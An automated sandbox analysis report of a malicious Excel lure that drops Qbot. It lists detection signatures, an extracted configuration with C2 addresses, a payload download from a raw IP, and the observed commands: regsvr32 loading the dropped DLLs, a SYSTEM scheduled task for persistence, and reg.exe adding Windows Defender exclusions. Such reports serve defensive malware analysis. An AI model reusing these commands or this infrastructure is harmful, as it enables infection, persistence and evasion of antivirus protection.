Windows Analysis Report CompensationClaim-1033191014-09282021.xls

Overview

General Information

Sample Name: CompensationClaim-1033191014-09282021.xls
Analysis ID: 492656
MD5: 6c81ae06a5a6b766edca78e79caa44e9
SHA1: 62771a1cf905d4346cc5d0a764eaf55e685a61d9
SHA256: b3e63f41617ed5bd3bb77a130be65bbbc500e927e7b21425d3d1fb484a7485bb
Tags: xls
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0 Qbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Yara detected Qbot
Document exploit detected (drops PE files)
Sigma detected: Schedule system process
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Multi AV Scanner detection for dropped file
Maps a DLL or memory area into another process
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Office process drops PE file
Writes to foreign memory regions
Uses cmd line tools excessively to alter registry or file data
Sigma detected: Microsoft Office Product Spawning Windows Shell
Allocates memory in foreign processes
Injects code into the Windows Explorer (explorer.exe)
Sigma detected: Regsvr32 Command Line Without DLL
Drops PE files to the user root directory
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Yara detected hidden Macro 4.0 in Excel
Uses schtasks.exe or at.exe to add and modify task schedules
Queries the volume information (name, serial number etc) of a device
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Downloads executable code via HTTP
Drops files with a non-matching file extension (content does not match file extension)
PE file does not import any functions
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Uses a known web browser user agent for HTTP communication
Uses reg.exe to modify the Windows registry
Document contains embedded VBA macros
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection:

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Found malware configuration
Source: 14.2.explorer.exe.c0000.0.unpack Malware Configuration Extractor: Qbot {"Bot id": "obama105", "Campaign": "1632819007", "Version": "402.343", "C2 list": ["120.150.218.241:995", "95.77.223.148:443", "185.250.148.74:443", "181.118.183.94:443", "105.198.236.99:443", "140.82.49.12:443", "37.210.152.224:995", "89.101.97.139:443", "81.241.252.59:2078", "27.223.92.142:995", "81.250.153.227:2222", "73.151.236.31:443", "47.22.148.6:443", "122.11.220.212:2222", "120.151.47.189:443", "199.27.127.129:443", "216.201.162.158:443", "136.232.34.70:443", "76.25.142.196:443", "75.66.88.33:443", "45.46.53.140:2222", "173.25.166.81:443", "103.148.120.144:443", "173.21.10.71:2222", "186.18.205.199:995", "71.74.12.34:443", "67.165.206.193:993", "47.40.196.233:2222", "68.204.7.158:443", "47.40.196.233:2222", "24.229.150.54:995", "109.12.111.14:443", "177.130.82.197:2222", "72.252.201.69:443", "24.55.112.61:443", "24.139.72.117:443", "187.156.138.172:443", "71.80.168.245:443", "196.217.156.63:995", "82.77.137.101:995", "173.234.155.233:443", "75.188.35.168:443", "5.238.149.235:61202", "73.77.87.137:443", "182.176.112.182:443", "96.37.113.36:993", "162.244.227.34:443", "92.59.35.196:2222", "196.218.227.241:995", "68.207.102.78:443", "2.188.27.77:443", "189.210.115.207:443", "181.163.96.53:443", "75.107.26.196:465", "185.250.148.74:2222", "68.186.192.69:443"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.9218096065[1].dat ReversingLabs: Detection: 15%
Antivirus or Machine Learning detection for unpacked file
Source: 13.2.regsvr32.exe.1310000.7.unpack Avira: Label: TR/Crypt.XPACK.Gen2
Source: 6.2.regsvr32.exe.2a80000.7.unpack Avira: Label: TR/Crypt.XPACK.Gen2
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amstream.pdb source: explorer.exe, 00000007.00000003.618389279.00000000026B0000.00000004.00000040.sdmp, explorer.exe, 0000000E.00000003.634893726.0000000001350000.00000004.00000040.sdmp
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000AEB4 FindFirstFileW,FindNextFileW, 6_2_1000AEB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0008AEB4 FindFirstFileW,FindNextFileW, 7_2_0008AEB4
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1000AEB4 FindFirstFileW,FindNextFileW, 13_2_1000AEB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000CAEB4 FindFirstFileW,FindNextFileW, 14_2_000CAEB4

Software Vulnerabilities:

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Document exploit detected (drops PE files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: 44467.9218096065[1].dat.0.dr Jump to dropped file
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA Jump to behavior
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 190.14.37.187:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 190.14.37.187:80

Networking:

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Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 28 Sep 2021 20:07:48 GMTContent-Type: application/octet-streamContent-Length: 259072Connection: keep-aliveX-Powered-By: PHP/5.4.16Accept-Ranges: bytesExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Disposition: attachment; filename="44467.9218096065.dat"Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 85 8c 3b 61 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 03 01 00 16 03 00 00 da 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 03 00 00 00 00 10 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 27 06 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 30 03 00 70 00 00 00 f4 60 27 06 7c 01 00 00 00 70 27 06 d8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 27 06 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6a 14 03 00 00 10 00 00 00 16 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 65 64 61 74 61 00 00 70 00 00 00 00 30 03 00 00 02 00 00 00 1a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 10 00 00 00 40 03 00 00 60 00 00 00 1c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 61 74 61 00 00 00 30 06 24 06 00 50 03 00 00 68 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 74 00 6e 07 00 00 00 60 27 06 00 08 00 00 00 e4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 07 00 00 00 70 27 06 00 08 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /44467.9218096065.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.187Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: unknown TCP traffic detected without corresponding DNS query: 190.14.37.187
Source: regsvr32.exe, 00000006.00000002.616250434.00000000024B0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000002.881681374.0000000002040000.00000002.00020000.sdmp, regsvr32.exe, 0000000D.00000002.633036346.0000000000F20000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000005.00000002.619032737.0000000001D10000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.615803827.0000000001FA0000.00000002.00020000.sdmp, regsvr32.exe, 00000008.00000002.619851177.0000000001CD0000.00000002.00020000.sdmp, regsvr32.exe, 0000000A.00000002.620572592.0000000001D10000.00000002.00020000.sdmp, regsvr32.exe, 0000000C.00000002.635427701.0000000000910000.00000002.00020000.sdmp, regsvr32.exe, 0000000D.00000002.632565051.00000000009E0000.00000002.00020000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000006.00000002.616250434.00000000024B0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000002.881681374.0000000002040000.00000002.00020000.sdmp, regsvr32.exe, 0000000D.00000002.633036346.0000000000F20000.00000002.00020000.sdmp, explorer.exe, 0000000E.00000002.881594655.0000000000E00000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.9218096065[1].dat Jump to behavior
Source: global traffic HTTP traffic detected: GET /44467.9218096065.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.187Connection: Keep-Alive

System Summary:

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Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable editing" 20 from the yellow bar above. 21 example of notification 22 23 ( 0 PROTECTH)WARN
Source: Screenshot number: 4 Screenshot OCR: Enable Content" to perform Miscrosoft Excel Decryption Core to start the 27 decryption of the docum
Source: Screenshot number: 4 Screenshot OCR: Enable Macros ) 32 33 :: Why I can not open th"s document? 36 37 - You are using iOS or Android
Source: Document image extraction number: 0 Screenshot OCR: Enable editing" from the yellow bar above. example of notification ( 0 ~ECTHWARNING This file ori
Source: Document image extraction number: 0 Screenshot OCR: Enable Content" to perform Miscrosoft Excel Decryption Core to start the decryption of the document
Source: Document image extraction number: 0 Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us
Source: Document image extraction number: 1 Screenshot OCR: Enable editing" from the yellow bar above. example of notification ( 0 PROTECTH)WARNNG Thisfileor
Source: Document image extraction number: 1 Screenshot OCR: Enable Content" to perform Miscrosoft Excel Decryption Core to start the decryption of the document
Source: Document image extraction number: 1 Screenshot OCR: Enable Macros ) Why I can not open this document? - You are using iOS or Android device. Please us
Office process drops PE file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44467.9218096065[1].dat Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Drezd.red
Detected potential crypto function
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10016EB0 6_2_10016EB0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10012346 6_2_10012346
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10011758 6_2_10011758
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_10014FC0 6_2_10014FC0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00096EB0 7_2_00096EB0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00092346 7_2_00092346
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00091758 7_2_00091758
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00094FC0 7_2_00094FC0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10016EB0 13_2_10016EB0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10012346 13_2_10012346
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10011758 13_2_10011758
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_10014FC0 13_2_10014FC0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D6EB0 14_2_000D6EB0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D2346 14_2_000D2346
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D1758 14_2_000D1758
Source: C:\Windows\SysWOW64\explorer.exe Code function: 14_2_000D4FC0 14_2_000D4FC0
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: CompensationClaim-1033191014-09282021.xls OLE, VBA macro line: Sub auto_open()
Source: CompensationClaim-1033191014-09282021.xls OLE, VBA macro line: Sub auto_close()
Source: CompensationClaim-1033191014-09282021.xls OLE, VBA macro line: Private m_openAlreadyRan As Boolean
Source: CompensationClaim-1033191014-09282021.xls OLE, VBA macro line: Private Sub saWorkbook_Opensa()
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000C6C0 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose, 6_2_1000C6C0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000CB77 memset,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary, 6_2_1000CB77
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1000C6C0 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose, 13_2_1000C6C0
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_1000CB77 memset,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary, 13_2_1000CB77
PE file does not import any functions
Source: Drezd.red.14.dr Static PE information: No import functions for PE file found
Source: Drezd.red.7.dr Static PE information: No import functions for PE file found
Uses reg.exe to modify the Windows registry
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ciwuywu' /d '0'
Document contains embedded VBA macros
Source: CompensationClaim-1033191014-09282021.xls OLE indicator, VBA macros: true
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Console Write: ....................<............&9.....(.P.............|.......l.......2....................................................................... Jump to behavior
Source: C:\Windows\System32\reg.exe Console Write: ................$...............T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.................N.......(............... Jump to behavior
Source: C:\Windows\System32\reg.exe Console Write: ................$...............T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y...........".....N.......(............... Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd.red
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Drezd.red
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd1.red
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pajjxwey /tr 'regsvr32.exe -s \'C:\Users\user\Drezd.red\'' /SC ONCE /Z /ST 22:10 /ET 22:22
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd2.red
Source: unknown Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\Drezd.red'
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red'
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ciwuywu' /d '0'
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Uvelq' /d '0'
Source: unknown Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\Drezd.red'
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red'
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd.red Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd1.red Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Drezd2.red Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Drezd.red Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pajjxwey /tr 'regsvr32.exe -s \'C:\Users\user\Drezd.red\'' /SC ONCE /Z /ST 22:10 /ET 22:22 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red' Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Ciwuywu' /d '0' Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Uvelq' /d '0' Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Drezd.red' Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Application Data\Microsoft\Forms Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE9D1.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@25/6@0/3
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000D523 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket, 6_2_1000D523
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_100030B7 StartServiceCtrlDispatcherA, 13_2_100030B7
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 13_2_100030B7 StartServiceCtrlDispatcherA, 13_2_100030B7
Source: CompensationClaim-1033191014-09282021.xls OLE indicator, Workbook stream: true
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 6_2_1000ABA3 CreateToolhelp32Snapshot,memset,Process32First,Process32Next,CloseHandle, 6_2_1000ABA3
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\{6845EBB9-4AF7-4E56-9BB0-ADF569578E37}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\{0F905B6A-A27C-4BE3-8678-0B5BD602A8CF}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \BaseNamedObjects\{86C9B554-6D2D-4099-AD4E-D96AE07D5551}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\{6845EBB9-4AF7-4E56-9BB0-ADF569578E37}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \BaseNamedObjects\{0F905B6A-A27C-4BE3-8678-0B5BD602A8CF}
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \BaseNamedObjects\Global\{86C9B554-6D2D-4099-AD4E-D96AE07D5551}
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Window found: window name: SysTabControl32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
